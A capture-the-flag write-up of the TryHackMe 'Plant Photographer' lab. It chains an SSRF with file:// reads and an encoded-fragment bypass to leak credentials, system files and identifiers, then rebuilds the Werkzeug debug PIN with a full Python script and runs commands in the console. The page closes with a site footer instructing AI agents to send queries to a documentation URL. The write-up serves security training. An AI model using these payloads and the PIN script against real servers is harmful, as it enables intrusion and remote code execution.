# Plant Photographer

{% embed url="<https://tryhackme.com/room/plantphotographer>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## Scenario

Your friend, a passionate botanist and aspiring photographer, recently launched a personal portfolio website to showcase his growing collection of rare plant photos:

> `http://MACHINE_IP/`

Proud of building the site himself from scratch, he’s asked you to take a quick look and let him know if anything could be improved. Look closely at how the site works under the hood, and determine whether it was coded with best practices in mind. If you find anything questionable, dig deeper and try to uncover the flag hidden behind the scenes.

## Summary

<details>

<summary>Summary</summary>

In Plant Photographer we assess a self-built Flask portfolio application. \
Initial enumeration reveals a Werkzeug debug console protected by a PIN and an `/admin` endpoint restricted to localhost. Analysis o the `/download` feature exposes a server-side request forgery primitive with verbose error disclosure, leaking sensitive internal details including API keys, filesystem paths, and application structure. \
By abusing the `file://` protocol and bypassing forced path concatenation with a URL-encoded fragment, we achieve arbitrary local file read, extracting `/etc/passwd`, application source code, and private documents.

Using this access, we gathered the specific hardware and environment identifiers required to reverse-engineer the Werkzeug debug PIN. After accounting for an older MD5 hashing implementation, we successfully unlocked the console, gaining remote command exection on the target.

</details>

## Recon

Based on the scenario, we were instructed to take a close look at the client's website. We'll skip the port scan for now. At first glance, the website appears static. However, using WappAlyzer, we can see that we are dealing with a Python Flask server here.

<figure><img src="/files/TqDMwPZOM9X4PBpbtzoJ" alt=""><figcaption></figcaption></figure>

Next, we perform a directory scan using Feroxbuster and find a `conssole`and `admin` page to be interesting.

{% code overflow="wrap" expandable="true" %}

```
feroxbuster -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -u 'http://10.114.176.84/' 
```

{% endcode %}

<figure><img src="/files/cdX6Nd6OVh9sg3kNW5Dt" alt=""><figcaption></figcaption></figure>

When we visit the console page, we see the Werkzeug/ Flagsk Debug console available locked by a PIN. If we were able to determine the public and private bits, we could reconstruct the PIN and thereby achieve remote code execution.

{% embed url="<https://hacktricks.wiki/en/network-services-pentesting/pentesting-web/werkzeug.html>" %}

{% code overflow="wrap" expandable="true" %}

```
http://10.114.168.49/console
```

{% endcode %}

<figure><img src="/files/fs6KvrU3WGg498CI9od9" alt=""><figcaption></figcaption></figure>

The Admin interface is locked for us. It is only available from the localhost. Unfortunately, attempts to bypass the restriction using headers such as `X-Forwarded-For: localhost` were unsuccessful.

{% code overflow="wrap" expandable="true" %}

```
http://10.114.168.49/admin
```

{% endcode %}

<figure><img src="/files/I7WeB67vU9FRrE8n0ctu" alt=""><figcaption></figcaption></figure>

While browsing manually, we have BurpSuite running but interception is disabled. We monitor the traffic in the HTTP History, but don't find anything there. We enable interception. And download the customer's resume.

<figure><img src="/files/QbrhjTfm1dtYeXkc90EN" alt=""><figcaption></figcaption></figure>

The following request is made:

{% code overflow="wrap" expandable="true" %}

```
http://10.114.176.84/download?server=secure-file-storage.com:8087&id=75482342
```

{% endcode %}

The server parameter is used to specify another server and an ID. In this case, the server sends a request to an internal server. We might be able to exploit this to carry out a server-side request forgery. However, enumerating the internal ports yielded no results. Changing the server parameter to one of our web servers or to localhost didn't help either.

<figure><img src="/files/M59UpmZX8GjZTHClM2xw" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/Wr2OHPGQGusBDRD4UQuO" alt=""><figcaption></figcaption></figure>

## Verbose Error Disclosure Leaks Sensitive Information

We're approaching the download endpoint manually for now and changing the port. And we get a pycurl error message.

{% code overflow="wrap" expandable="true" %}

```
http://10.114.176.84/download?server=secure-file-storage.com:8086&id=75482342
```

{% endcode %}

<figure><img src="/files/X9kwIdj42lQegw5uzsom" alt=""><figcaption></figcaption></figure>

The error message is very verbose and reveals the API key needed to retrieve files from the secure storage service. This is also the first flag.

<figure><img src="/files/iGmpzKGMH4ODuDJKLdZ0" alt=""><figcaption></figcaption></figure>

In addition to the API key, we also record the following information. We now know the location of the webroot:

{% code overflow="wrap" expandable="true" %}

```
/usr/src/app/app.py
```

{% endcode %}

Where ther public documents stored:

{% code overflow="wrap" expandable="true" %}

```
/public-docs-k057230990384293/
```

{% endcode %}

We also find out which version of Python is being used:

{% code overflow="wrap" expandable="true" %}

```
/usr/local/lib/python3.10/site-packages/flask/app.py
```

{% endcode %}

## Path Traversal & Sensitive File Disclosure via SSRF

For now, we want to stick with the Werkzeug exploit to achieve remote code execution. As mentioned earlier, we need public and private bits to reconstruct the PIN. However, we can only obtain these if we can read internal files on the server or if further information is leaked.

We try to leverage the server request paramater to read local file like this using the `file://` protocol:

{% code overflow="wrap" expandable="true" %}

```
http://10.114.176.84/download?server=file:///etc/passwd&id=1
```

{% endcode %}

We see that the sserver actually does accept the `file://` protocol by the error message `Couldn't open file /etc/passwd/...`.

But the backend script is forcefully appending the internal directory and a file extension to whatever you input in the `server` parameter.

<figure><img src="/files/wypIqskMCODI8Awo9BrH" alt=""><figcaption></figcaption></figure>

Because `/etc/passwd` is a file, not a directory, `pycurl` fails when it tries to look "inside" it for that subdirectory. To fix this, we add a URL Fragment (`#`) or a Null Byte to trick the parser into ignoring everything that follows our desired path. We URL encode the # to `%23` and are able to read the `/etc/passwd` file.

{% code overflow="wrap" expandable="true" %}

```
http://10.114.176.84/download?server=file:///etc/passwd%23&id=1
```

{% endcode %}

<figure><img src="/files/izvHxnldPdP4X984CUPq" alt=""><figcaption></figcaption></figure>

Next we include the `app.py`. We discovered the path previously from the verbose error message.&#x20;

{% code overflow="wrap" expandable="true" %}

```
http://10.114.176.84/download?server=file:///usr/src/app/app.py%23&id=1
```

{% endcode %}

<figure><img src="/files/j3fHm8EURNEP9VkSvjWy" alt=""><figcaption></figcaption></figure>

We are now able to examine the functionality of the site at the source code level. In addition to the API key, we now also see a `private-docs` folder next to the `public-docs` folder; this folder is accessed when `/admin` is called, and the `flag.pdf` file is retrieved.

<figure><img src="/files/DzpcdS3xUQJAqaacdmFP" alt=""><figcaption></figcaption></figure>

Next we try to include the flag.pdf via the file inclusion vulnerabiltiy...

{% code overflow="wrap" expandable="true" %}

```
/usr/src/app/private-docs/flag.pdf
```

{% endcode %}

... and are able to read the second flag.

{% code overflow="wrap" expandable="true" %}

```
http://10.114.176.84/download?server=file:///usr/src/app/private-docs/flag.pdf%23&id=1
```

{% endcode %}

<figure><img src="/files/mHqNqHJIAsVe9i0vYeZn" alt=""><figcaption></figcaption></figure>

## Werkzeug Debug PIN Reconstruction → Remote Code Execution

### Public bits

We will now continue extracting the private and public bits so that we can finally generate the Werkzeug console PIN. For reference, we will use the article from HackTricks.

{% embed url="<https://hacktricks.wiki/en/network-services-pentesting/pentesting-web/werkzeug.html>" %}

{% code title="HackTricks - Werkzeug PIN Script" overflow="wrap" lineNumbers="true" expandable="true" %}

```python
import hashlib
from itertools import chain
probably_public_bits = [
    'web3_user',  # username
    'flask.app',  # modname
    'Flask',  # getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.5/dist-packages/flask/app.py'  # getattr(mod, '__file__', None),
]

private_bits = [
    '279275995014060',  # str(uuid.getnode()),  /sys/class/net/ens33/address
    'd4e6cb65d59544f3331ea0425dc555a1'  # get_machine_id(), /etc/machine-id
]

# h = hashlib.md5()  # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')
# h.update(b'shittysalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

```

{% endcode %}

This is a sample excerpt from the script in the Hacktricks wiki entry, including its `probably_public_bits` and `private_bits`.

{% code overflow="wrap" %}

```python
probably_public_bits = [
    'web3_user',# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
    '279275995014060',# str(uuid.getnode()),  /sys/class/net/ens33/address
    'd4e6cb65d59544f3331ea0425dc555a1'# get_machine_id(), /etc/machine-id
]
```

{% endcode %}

Of the public bits, the only one we're currently missing is the username. We know that Python 3.10 is being used. For now, we'll assume the rest.

We request the `/proc/self/environ` file to determine the current user running. From the `HOME` variable, we can determine the user `root` indicated by `HOME=/root`.

{% code overflow="wrap" expandable="true" %}

```
curl 'http://10.114.176.84/download?server=file:///proc/self/environ%23&id=1' --output -
```

{% endcode %}

<figure><img src="/files/axazx4s6USDcOZl5rUf3" alt=""><figcaption></figcaption></figure>

For the public bits we assume now the following:&#x20;

{% code overflow="wrap" %}

```python
probably_public_bits = [
    'root',# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.10/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
```

{% endcode %}

### Private bits

We continue with the private bits, those include the mac address and machine-id.&#x20;

First, we need the decimal expression of the mac address of the system. We get the MAC at `file:///sys/class/net/<device id>/address`. To get the device id we query for the file `/proc/net/arp`, its `eth0`.

{% code overflow="wrap" expandable="true" %}

```
curl 'http://10.114.176.84/download?server=file:///proc/net/arp%23&id=1' --output -
```

{% endcode %}

<figure><img src="/files/xUNsgZZohPjgpxAzhKGQ" alt=""><figcaption></figcaption></figure>

Next, we query for `/sys/class/net/eth0/address` to get the MAC address.

{% code overflow="wrap" expandable="true" %}

```
curl 'http://10.114.176.84/download?server=file:///sys/class/net/eth0/address%23&id=1' --output -
```

{% endcode %}

<figure><img src="/files/4ccaMrCKHcUKCdfiiYg4" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" expandable="true" %}

```
02:42:ac:14:00:02
```

{% endcode %}

To convert the mac address, we use the following resource, and chose the EUI-48 representation:

{% embed url="<https://www.vultr.com/resources/mac-converter/?mac_address=02%3A42%3Aac%3A14%3A00%3A02>" %}

<figure><img src="/files/7qfbn24fctmKe4mOzIqF" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" expandable="true" %}

```
2485378088962
```

{% endcode %}

Next, we query the machine-id at `/etc/machine-id`. But the file is not found.

{% code overflow="wrap" expandable="true" %}

```
curl 'http://10.114.176.84/download?server=file:///etc/machine-id%23&id=1' --output -
```

{% endcode %}

<figure><img src="/files/4u7k0blAqeUTEkuze534" alt=""><figcaption></figcaption></figure>

The following explanation from HackTricks says that the function `get_machine_id()` for the PIN generation concatenats the data from `/etc/machine-id` or `/proc/sys/kernel/random/boot_id` with the first line of `/proc/self/cgroup` post the last slash (`/`).

So we query for the machine ID with the alternative approach `/proc/sys/kernel/random/boot_id`.

{% code overflow="wrap" expandable="true" %}

```
curl 'http://10.114.176.84/download?server=file:///proc/sys/kernel/random/boot_id%23&id=1' --output -
```

{% endcode %}

<figure><img src="/files/Wwds2iWxygF1BNFdxNsg" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" expandable="true" %}

```
16389a04-0f84-47e8-b200-aa7ddc2036ff
```

{% endcode %}

Next, we query for the of `/proc/self/cgroup`.

{% code overflow="wrap" %}

```
curl 'http://10.114.176.84/download?server=file:///proc/self/cgroup%23&id=1' --output -
```

{% endcode %}

<figure><img src="/files/JsrBQo8X5qFZbovS1Wbb" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```
77c09e05c4a947224997c3baa49e5edf161fd116568e90a28a60fca6fde049ca
```

{% endcode %}

We should have everything ready now. We set the public and private bits in the script. We receive a PIN and realize that it doesn't work.

There is a slight hint in the article.

> This script produces the PIN by hashing the concatenated bits, adding specific salts (`cookiesalt` and `pinsalt`), and formatting the output. It’s important to note that the actual values for `probably_public_bits` and `private_bits` need to be accurately obtained from the target system to ensure the generated PIN matches the one expected by the Werkzeug console.\
> \
> If you are on an **old version** of Werkzeug, try changing the **hashing algorithm to md5** instead of sha1.

Just to be sure we query for the script on the machine used. And see `md5` is used instead of `sha1`.

{% code overflow="wrap" expandable="true" %}

```
curl 'http://10.114.176.84/download?server=file:///usr/local/lib/python3.10/site-packages/werkzeug/debug/__init__.py%23&id=1' --output -
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
def hash_pin(pin):
    if isinstance(pin, text_type):
        pin = pin.encode("utf-8", "replace")
    return hashlib.md5(pin + b"shittysalt").hexdigest()[:12]
```

{% endcode %}

<figure><img src="/files/6NysBCUa7WXR7TbMZ1F5" alt=""><figcaption></figcaption></figure>

To summarize everything again, here are our public and private keys. And the script uses MD5 instead of SHA1. And we find that the cgroup is sufficient as a specification

{% code overflow="wrap" %}

```python
probably_public_bits = [
    'root',  # username
    'flask.app',  # modname
    'Flask',  # getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.10/site-packages/flask/app.py'  # getattr(mod, '__file__', None),
]

private_bits = [
    '2485378088962',  # str(uuid.getnode()),  /sys/class/net/ens33/address
    '77c09e05c4a947224997c3baa49e5edf161fd116568e90a28a60fca6fde049ca'  # get_machine_id(), /etc/machine-id
]
```

{% endcode %}

### Exploit

The script now looks like this.

{% code title="generate-pin.py" overflow="wrap" lineNumbers="true" expandable="true" %}

```python
import hashlib
from itertools import chain
probably_public_bits = [
    'root',  # username
    'flask.app',  # modname
    'Flask',  # getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.10/site-packages/flask/app.py'  # getattr(mod, '__file__', None),
]

private_bits = [
    '2485378088962',  # str(uuid.getnode()),  /sys/class/net/ens33/address
    '77c09e05c4a947224997c3baa49e5edf161fd116568e90a28a60fca6fde049ca'  # get_machine_id(), /etc/machine-id
]

# h = hashlib.md5()  # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')
# h.update(b'shittysalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)
```

{% endcode %}

We run the script and receive a PIN.

<figure><img src="/files/m9I25hQl8zAuPXRosdhR" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```
http://10.114.176.84/console
```

{% endcode %}

<figure><img src="/files/BbHrs1sPRgSe84ZihdXb" alt=""><figcaption></figcaption></figure>

The PIN is vali and we can finally execute commands on the system to retrieve the final flag.

{% code overflow="wrap" expandable="true" %}

```
__import__('os').popen('whoami').read();
```

{% endcode %}

<figure><img src="/files/ksH47sLHCw6rts8mKme3" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xb0b.gitbook.io/writeups/tryhackme/2026/plant-photographer.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
